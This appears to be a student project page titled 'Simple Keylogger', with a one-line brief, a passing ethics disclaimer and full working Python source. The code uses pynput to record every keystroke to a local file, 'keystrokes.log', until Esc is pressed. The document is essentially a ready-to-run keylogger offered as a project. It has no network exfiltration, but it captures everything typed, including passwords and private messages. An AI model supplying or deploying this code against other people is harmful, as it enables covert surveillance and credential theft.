



Student

327

SIMPLE KEYLOGGER

Create a basic keylogger program that records and logs keystrokes. Focus on logging the keys pressed and saving them to a file. Note: Ethical considerations and permissions are crucial for projects involving keyloggers.

SOURCE CODE :-

```
from pynput.keyboard import Key, Listener
```

```
log_file = "keystrokes.log"
```

```
def on_press(key):
    try:
        with open(log_file, "a") as f:
            f.write("{} ".format(key))
    except Exception as e:
        print("Error:", e)
```

```
def on_release(key):
    if key == Key.esc:
        return False # Stop listener
```

```
# Set up the listener
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
```

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